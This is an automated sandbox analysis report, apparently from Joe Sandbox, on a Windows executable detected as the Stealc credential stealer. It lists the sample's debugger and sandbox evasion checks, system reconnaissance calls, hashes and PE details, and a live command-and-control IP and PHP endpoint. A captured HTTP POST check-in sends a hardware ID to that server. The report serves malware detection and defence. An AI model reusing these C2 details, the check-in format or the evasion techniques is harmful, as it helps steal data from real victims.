
Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00339860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339750 mov eax, dword ptr fs:[00000030h]

0_2_00339750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00337850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00339600

Source: file.exe, file.exe, 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: !Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00337B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00336920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00336920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00337850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00337A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1694461519.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1694461519.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php8a	file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php%:	file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpu:	file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/law	file.exe, 00000000.00000002.1735801152.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37W$	file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532751
Start date and time:	2024-10-13 21:39:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948654946980613
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'815'040 bytes
MD5:	9c8851494e85a86a1b823868d2ec5b1b
SHA1:	dbf8f81d9c9bfb1ae8ad0cd1d5bad9a6d0dd41c5
SHA256:	3a69f6d29dee1aec39e1a81e574b7dcebe2e3ee08f2d36117a2bc19d8e279e14
SHA512:	9a3927d3fc6fc8f7d59041b8d4dd5d5b3740e71fb07a28d109d44bb16c84deb53b015f162795289322180e2151370acc596b5eb14c5071df494ec8a0f4fa28b3
SSDEEP:	49152:pKQM2W0k94KIOxqeqnEh62hU2d3XW/AJDH:pSUflsqEhvU1/Wr
TLSH:	998533302877E23DC93D0E342686A78A96BCC3599C137F19785B7E5A10D70A821B9DDF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa87000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD3C51DC6CAh
seto byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	e339f1f39e3e6e1e7458bf9148d06baa	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x293000	0x200	94bcc77104458130dc55e50ec24443bf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mmvujlrd	0x4f1000	0x195000	0x195000	73b6fae786ceffb1e52af6da1d7eae24	False	0.9949291087962963	data	7.953824912705421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
youucsdu	0x686000	0x1000	0x400	1cb22b464560e6f2eb9658b8845b0a8b	False	0.7998046875	data	6.112458813829965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x687000	0x3000	0x2200	ecde58828f1aed1d3adcb89adbb688d9	False	0.06410845588235294	DOS executable (COM)	0.7510811429342507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T21:40:06.485545+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 21:40:05.529895067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:05.535093069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 21:40:05.535196066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:05.535751104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:05.540678978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 21:40:06.247569084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 21:40:06.247654915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:06.249881029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:06.254956007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 21:40:06.485419989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 21:40:06.485544920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 21:40:10.176556110 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 21:40:05.535751104 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 21:40:06.247569084 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 19:40:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 21:40:06.249881029 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 32 38 38 36 36 38 38 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="hwid"8C28866889272029741119------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="build"doma------CAAAFCAKKKFBFIDGDBFH--
Oct 13, 2024 21:40:06.485419989 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 19:40:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	15:40:03
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x320000
File size:	1'815'040 bytes
MD5 hash:	9C8851494E85A86A1B823868D2EC5B1B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1694461519.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00339860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,010922F0), ref: 003398A1
GetProcAddress.KERNEL32(74DD0000,01092218), ref: 003398BA
GetProcAddress.KERNEL32(74DD0000,01092248), ref: 003398D2
GetProcAddress.KERNEL32(74DD0000,010922A8), ref: 003398EA
GetProcAddress.KERNEL32(74DD0000,01092350), ref: 00339903
GetProcAddress.KERNEL32(74DD0000,01099258), ref: 0033991B
GetProcAddress.KERNEL32(74DD0000,010858D0), ref: 00339933
GetProcAddress.KERNEL32(74DD0000,01085930), ref: 0033994C
GetProcAddress.KERNEL32(74DD0000,01092410), ref: 00339964
GetProcAddress.KERNEL32(74DD0000,010924E8), ref: 0033997C
GetProcAddress.KERNEL32(74DD0000,01092368), ref: 00339995
GetProcAddress.KERNEL32(74DD0000,010924A0), ref: 003399AD
GetProcAddress.KERNEL32(74DD0000,01085970), ref: 003399C5
GetProcAddress.KERNEL32(74DD0000,01092230), ref: 003399DE
GetProcAddress.KERNEL32(74DD0000,01092440), ref: 003399F6
GetProcAddress.KERNEL32(74DD0000,01085710), ref: 00339A0E
GetProcAddress.KERNEL32(74DD0000,010923B0), ref: 00339A27
GetProcAddress.KERNEL32(74DD0000,01092260), ref: 00339A3F
GetProcAddress.KERNEL32(74DD0000,010859D0), ref: 00339A57
GetProcAddress.KERNEL32(74DD0000,01092278), ref: 00339A70
GetProcAddress.KERNEL32(74DD0000,01085950), ref: 00339A88
LoadLibraryA.KERNEL32(01092320,?,00336A00), ref: 00339A9A
LoadLibraryA.KERNEL32(010922D8,?,00336A00), ref: 00339AAB
LoadLibraryA.KERNEL32(01092488,?,00336A00), ref: 00339ABD
LoadLibraryA.KERNEL32(01092458,?,00336A00), ref: 00339ACF
LoadLibraryA.KERNEL32(01092308,?,00336A00), ref: 00339AE0
GetProcAddress.KERNEL32(75A70000,01092380), ref: 00339B02
GetProcAddress.KERNEL32(75290000,010923C8), ref: 00339B23
GetProcAddress.KERNEL32(75290000,010923E0), ref: 00339B3B
GetProcAddress.KERNEL32(75BD0000,010923F8), ref: 00339B5D
GetProcAddress.KERNEL32(75450000,01085870), ref: 00339B7E
GetProcAddress.KERNEL32(76E90000,01099138), ref: 00339B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00339BB6

Strings

NtQueryInformationProcess, xrefs: 00339BAA

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: dd220eb37253dba0ede648c46119a4b17aa9cc9909e4b7f412382006a46feed0
Instruction ID: 1d85f697bb00605e3b4369793eab4829fbaff850c1f9c604847c5ae749dd5086
Opcode Fuzzy Hash: dd220eb37253dba0ede648c46119a4b17aa9cc9909e4b7f412382006a46feed0
Instruction Fuzzy Hash: F3A14EB55002409FD348EFACEE88A5637F9F7AC301704451AE605E3265D7F9A84AFF62

Function 003245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0032460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0032479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324638
